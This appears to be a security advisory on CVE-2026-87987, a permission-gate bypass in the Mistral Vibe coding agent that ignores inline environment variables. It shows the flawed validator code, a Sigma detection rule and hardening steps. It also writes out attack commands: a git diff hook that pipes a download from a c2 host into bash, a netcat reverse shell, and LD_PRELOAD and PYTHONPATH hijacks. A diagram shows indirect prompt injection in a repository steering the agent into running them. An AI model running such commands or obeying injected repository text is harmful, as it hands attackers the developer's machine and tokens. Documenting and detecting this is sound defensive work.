CVE-2026-87987: Mistral Vibe Remote Code Execution via Environment Variable Assignment Stripping
HERMES THREAT SCORE & ENVIRONMENT HOOK WEAPONIZATION
Target:Mistral Vibe Coding Agent (mistral-vibe) CVSS v4.0 evaluates CVE-2026-87987 at a maximum 10.0 (Critical, CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H). The Hermes Threat Score assesses this vulnerability at 98 (CRITICAL). This reflects how omitting leading environment variable assignments in AST command nodes allows attackers to weaponize execution hooks in benign tools like git diff without prompting the user.
CVE-2026-87987: Mistral Vibe Remote Code Execution via Environment Variable Assignment StrippingVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
π Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Mistral Vibe Coding Agent documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Adversary embeds covert payload instructions into retrieved external data (web pages, repositories, emails) that subvert model planning when parsed by autonomous agents.
π Why is this related? (Evidence & Provenance)
“CVE-2026-87987 weaponizes the agentic attack pattern formalized under AAP-002.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source: Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Reliability: HIGH)
Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.
π Why is this related? (Evidence & Provenance)
“CVE-2026-87987 weaponizes the agentic attack pattern formalized under AAP-003.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source: Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Reliability: HIGH)
Adversary injects explicit formatting tags or role-inversion prompts directly into user input to strip system instructions and escape developer-enforced guardrails.
π Why is this related? (Evidence & Provenance)
“CVE-2026-87987 weaponizes the agentic attack pattern formalized under AAP-001.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source: Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Reliability: HIGH)
1. Technical Context & Affected Software Matrix
Section titled β1. Technical Context & Affected Software Matrixβ| Parameter | Technical Specification | Threat Intelligence Context |
|---|---|---|
| CVE Identifier | CVE-2026-87987 | Discovered by Esteban Tonglet (HiddenLayer) |
| Common Weakness Enumeration | CWE-15 (External Control of Configuration), CWE-78 (Command Injection) | Stripping/omitting AST variable_assignment nodes |
| Attack Vector | Indirect Prompt Injection (AAP-002) / AAP-003 | Poisoned code repositories, CI/CD jobs, PR discussions |
| Vulnerable Component | AST command processor in Mistral Vibe (vibe permission gate) | Ignores environment variables when deciding auto-approval |
| Affected Versions | mistral-vibe < 1.1.0 | Default auto-approval configuration |
| Remediated Version | vibe >= 1.1.0 | Strictly validates and sanitizes all leading environment variables |
| Systemic Impact | Full remote code execution on developer workstation | Total takeover of development and deployment tokens |
2. In-Depth Technical Decomposition & Root Cause
Section titled β2. In-Depth Technical Decomposition & Root CauseβA. Inline Environment Variables in Bash
Section titled βA. Inline Environment Variables in BashβBash grammar allows setting environment variables scoped specifically to the command invocation:
GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=diff.external GIT_CONFIG_VALUE_0='sh -c "id; curl http://c2/sh|bash"' git diffWhen parsed by tree-sitter-bash, the resulting AST contains:
command βββ variable_assignment: "GIT_CONFIG_COUNT=1" βββ variable_assignment: "GIT_CONFIG_KEY_0=diff.external" βββ variable_assignment: "GIT_CONFIG_VALUE_0='sh -c "..."'" βββ name: command_name -> "git" βββ argument: word -> "diff"B. The Stripping Flaw in the Permission Engine
Section titled βB. The Stripping Flaw in the Permission EngineβMistral Vibe located the executable by finding the first command_name child in the AST:
# Vulnerable command validation in Mistral Vibe (pre-1.1.0)def evaluate_command_authorization(command_node): # FLAW: Locates command_name, ignoring variable_assignment siblings! cmd_name = None for child in command_node.children: if child.type == "command_name": cmd_name = child.text.decode("utf-8") break
# cmd_name is 'git' # Check if 'git diff' is safe -> Evaluated as AUTO-APPROVED! if cmd_name == "git" and is_safe_git_subcommand(command_node): return True # Auto-approve!Because the validator did not inspect or restrict variable_assignment nodes, the presence of hostile environment variables had no impact on the authorization decision. Vibe passed the full command string to subprocess.run(..., shell=True). Git invoked the attacker-specified external diff binary (diff.external), yielding immediate code execution.
3. Attack Flow & Weaponization Scenarios
Section titled β3. Attack Flow & Weaponization ScenariosβsequenceDiagram autonumber actor Attacker as Attacker (Git Repository) participant Agent as Mistral Vibe Coding Agent participant Gate as AST Permission Gate participant Bash as Host Shell participant Git as Git Binary participant Payload as Attacker Injected Hook
Attacker->>Agent: Indirect prompt injection in repo code (AAP-002) Agent->>Gate: Command: GIT_CONFIG_COUNT=1 ... GIT_CONFIG_VALUE_0='evil' git diff Gate->>Gate: Identifies command_name: 'git' with argument: 'diff' Note over Gate: Ignores leading variables. Auto-approved! Gate->>Bash: Executes full raw string Bash->>Git: Launches git with injected environment variables Git->>Payload: Git diff triggers diff.external hook Payload->>Attacker: Spawns reverse shell / exfiltrates secrets!High-Impact Exploitation Vectors
Section titled βHigh-Impact Exploitation Vectorsβ- Git Configuration Hooks:
Terminal window GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=diff.external GIT_CONFIG_VALUE_0='sh -c "nc -e /bin/bash 10.0.0.1 4444"' git diff - Python Import Hijacking:
Terminal window PYTHONPATH=/tmp/evil_modules python3 -m pytest - Dynamic Linker Preloading:
Terminal window LD_PRELOAD=/tmp/evil.so ls -la
Each of these relies on an auto-approved utility (git diff, pytest, ls) whose execution behavior is hijacked via inline environment variables.
4. Detection, Threat Hunting & DFIR Playbooks
Section titled β4. Detection, Threat Hunting & DFIR PlaybooksβA. Sigma Detection Rule
Section titled βA. Sigma Detection Ruleβtitle: Mistral Vibe Command Execution with Injected Environment Variablesid: 87987001-vibe-env-var-stripping-rcestatus: experimentaldescription: Detects auto-approved utilities executed with malicious inline environment variables (GIT_CONFIG, LD_PRELOAD, PYTHONPATH).references: - https://blog.marcfredericgomez.fr/six-contournements-de-permissions-sur-mistral-vibe/author: Hermes Codex Cyber Defense Teamlogsource: category: process_creation product: linuxdetection: selection_parent: CommandLine|contains: 'vibe' selection_env: CommandLine|re: '(GIT_CONFIG_COUNT|GIT_CONFIG_VALUE|LD_PRELOAD|PYTHONPATH|BASH_ENV)\s*=\s*' condition: selection_parent and selection_envlevel: critical5. Defense, Hardening & Remediation
Section titled β5. Defense, Hardening & Remediationβ- Apply Official Patch: Upgrade to
vibe >= 1.1.0. The patched engine strictly disallows or requires interactive user authorization whenever any inline environment variables are detected. - Sanitize Environment: Execute agents within isolated execution envelopes that scrub dangerous environment variables before subshell invocation.
- Harden Git Configurations: Ensure system Git configurations reject unsafe external commands without verification.
- Deploy AgentThreat Studio Protections: Use AgentThreat Studio monitors to detect AAP-003: Tool Parameter Tampering and AAP-001: Context Boundary Violation.
6. Related Vulnerabilities & Cross-References
Section titled β6. Related Vulnerabilities & Cross-Referencesβ- CVE-2026-87983: Arbitrary File Read via Quoted Absolute Paths
- CVE-2026-87984: Arbitrary File Write via Shell Redirection Target Omission
- CVE-2026-87985: Remote Code Execution via ANSI-C Quoting in
find -exec - CVE-2026-87986: Command Injection via Parser Syntax Error Node Bypass
- CVE-2026-87988: Arbitrary Read/Write via Auto-Approved Command Discrepancies
- AAP-001: Context Boundary Violation
- AAP-002: Indirect Context Injection
- AAP-003: Tool Parameter Tampering